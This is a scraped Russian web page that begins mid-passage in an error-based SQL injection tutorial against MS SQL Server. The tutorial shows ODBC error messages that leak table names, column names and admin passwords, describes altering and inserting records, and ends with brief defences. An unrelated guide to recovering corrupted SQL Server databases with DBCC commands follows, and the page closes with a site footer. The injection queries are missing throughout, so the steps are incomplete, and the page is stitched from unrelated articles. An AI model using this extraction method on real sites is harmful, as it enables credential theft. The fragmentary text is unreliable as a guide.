    Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
    /index.asp, line 5

    Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы — «table1».

    Для получения следующего имени таблицы, мы можем использовать следующий запрос:

    Мы также можем искать данные, используя ключ LIKE:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int. /index.asp, line 5

    Соответствующая конструкция ‘%25login%25’ будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию «admin_login».

    6.1 Как узнать все имена столбцов в таблице?

    Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
    /index.asp, line 5

    Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
    /index.asp, line 5

    Продолжая, мы получим остальные имена столбцов, т.е. «password», «details», пока не получим следующую ошибку.

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
    [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
    /index.asp, line 5

    6.2. Как нам получить нужные нам данные?


    Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

    Давайте получим первый login_name из таблицы «admin_login»:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
    /index.asp, line 5

    Теперь мы знаем, что есть admin пользователь с именем входа в систему «neo». Наконец, мы можем получить пароль «neo»:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как «neo» с паролем ‘m4trix’.

    6.3 Как получить числовое значение строки?

    Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0. 9). Сейчас мы опишем получение пароля «31173» у пользователя «trinity»:

    Мы вероятно получим ошибку «Page Not Found». Причина в том, что пароль «31173» будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

    Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

    Мы просто используем знак «плюс» (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для ‘+’ = 0x2b). Затем, мы добавим в конец ‘%20morpheus’ в фактический пароль. Поэтому, даже если значение пароля ‘31173’, он станет ‘31173 morpheus’. Вручную вызывая функцию convert(), пытаясь преобразовать ‘ 31173 morpheus’ в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как «trinity» с паролем ‘31173’.

    7.0 Как модифицировать/вставить данные в базу данных?

    После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для «neo»:

    Чтобы внести (INSERT) новую запись в базу данных:

    Теперь мы сможем войти в систему как «neo» с паролем ‘newpas5’.

    8.0 Как избежать SQL Injection?

    Фильтруйте специальные символы во всех строках в:

    — любых данных, вводимых пользователем
    — URL параметрах
    — Cookie

    Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

    Запускайте SQL сервер как непривилегированный пользователь.

    Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

    Подписывайтесь на каналы «SecurityLab» в Telegram и Яндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.

    alexvyrvich

    Alex Vyrvich

    Рассмотрим несколько вариантов восстановления БД, в зависимости от того, насколько повреждены файлы БД зависит успешность того или иного метода. Все описанные способы были лично мной проверены на практике и все случаи восстановления, за исключением одного, были успешны. Используйте данное руководство на свой страх и риск, за совершенные вами действия ответственность несете, вы сами.

    Итак, во-первых останавливаем службу SQL Server и копируем файлы базы данных (*.mdf и *.ldf) в другую папку, чтобы можно было восстановить их в случае неудачи.

    Если у вас есть свежий актуальный бэкап, то дальше можете не читать, а просто восстановите БД из него, тем самым сэкономите драгоценное время, далее я приведу алгоритмы восстановления для разных версий SQL Server. Надеюсь вам это поможет, как в свое время помогло и мне.

    Для всех версий SQL Server подойдет следующий вариант: делаем Detach database (отсоединить базу данных), удаляем журнал транзакций (файл с расширением ldf) и делаем Attach database(присоединить базу данных). В мастере выбираем наш mdf файл и жмем ОК.

    Если mdf файл не поврежден, то он успешно присоединится и мы увидим нашу базу в диспетчере объектов целую и невредимую.

    Радуемся успешному восстановлению. (Этот вариант сработает только если mdf файл не поврежден, поэтому срабатывает не всегда). Если не получилось, то создаем новую базу данных с таким же именем, останавливаем сервер. Подменяем файл mdf файлом от нашей базы, стартуем службу SQL Server и открываем Query analyzer(SQL 2000) или Management studio(SQL 2005/2008) в зависимости от нашей версии сервера.

    USE master
    GO
    sp_configure ‘allow updates’, 1
    reconfigure WITH override
    GO

    Если у вас SQL 2000, то далее пишем:

    UPDATE sysdatabases SET STATUS= 32768 WHERE name = ‘db_name’
    GO

    Если SQL 2005 или 2008, то пишем:

    ALTER DATABASE db_name SET EMERGENCY, SINGLE_USER
    GO

    где вместо db_name пишем имя своей БД

    Жмем F5. После этого наша БД должна быть видна в статусе EMERGENCY.

    В особо тяжелых случаях возникают проблемы с переходом в EMERGENCY, возможны даже проблемы с detach, в таких случаях поврежденная база удаляется, а далее происходит хитрая подмена файлов данных. Для начала создадим новую базу, имена файлов mdf и ldf должны совпадать с именами файлов поврежденной базы. Новую базу переводим в режим EMERGENCY, останавливаем службу MSSQL и подменяем файлы поврежденными. Таким образом мы получим рабочий инстанс в статусе EMERGENCY с поврежденными файлами.

    Отлично, приступаем к восстановлению.

    Выполним следующие SQL команды.

    DBCC REBUILD_LOG(‘db_name’, ‘Полный путь к новому файлу ldf’)
    GO

    Жмем F5, если все нормально, сервер скажет: Warning: The log for database ‘db_name’ has been rebuilt.

    Стираем и пишем:

    USE master
    GO
    sp_dboption ‘db_name’, ‘single user’, ‘true’
    GO
    USE db_name
    GO
    DBCC CHECKDB(‘db_name’, REPAIR_REBUILD)
    GO

    Если база не хочет в single mode можно попробовать такую команду

    USE db_name
    ALTER database db_name set SINGLE_USER with rollback immediate
    GO

    если DBCC не хочет выполняться, то вместо REPAIR_REBUILD нужно подставить REPAIR_ALLOW_DATA_LOSS

    Жмем F5, ждем некоторое время. Сервер вернет кучу сообщений. Если там будут содержаться ошибки, то лучше еще раз выполнить DBCC CHECKDB с параметром REPAIR_REBUILD, пока все ошибки не будут устранены.

    Для SQL 2005/2008 действия несколько иные:

    DBCC CHECKDB(‘db_name’, REPAIR_ALLOW_DATA_LOSS)
    GO

    Тут без вариантов. В SQL 2005 и выше нет инструкции REBUILD_LOG, вместо этого выполняется CHECKDB с параметром REPAIR_ALLOW_DATA_LOSS.

    После того как сервер закончит выполнять запрос и вернет результат, меняем REPAIR_ALLOW_DATA_LOSS на REPAIR_REBUILD и выполняем запрос еще раз, это должно убрать оставшиеся ошибки в бд.

    После всего этого наша база становится в нормальное состояние и уже доступна для работы с ней, но только в однопользовательском режиме, поэтому завершаем наш процесс возвращением бд в многопользовательский режим.

    USE master
    GO
    sp_dboption ‘db_name’, ‘single user’, ‘false’
    GO

    Для SQL 2005/2008:

    ALTER DATABASE db_name SET ONLINE, MULTI_USER
    GO

    Все. База онлайн и готова к работе. Радуемся и не забываем делать бэкапы.

    Мастер Йода рекомендует:  StateOfJS обзор масштабного опроса JavaScript-разработчиков по итогам 2020 года
    Добавить комментарий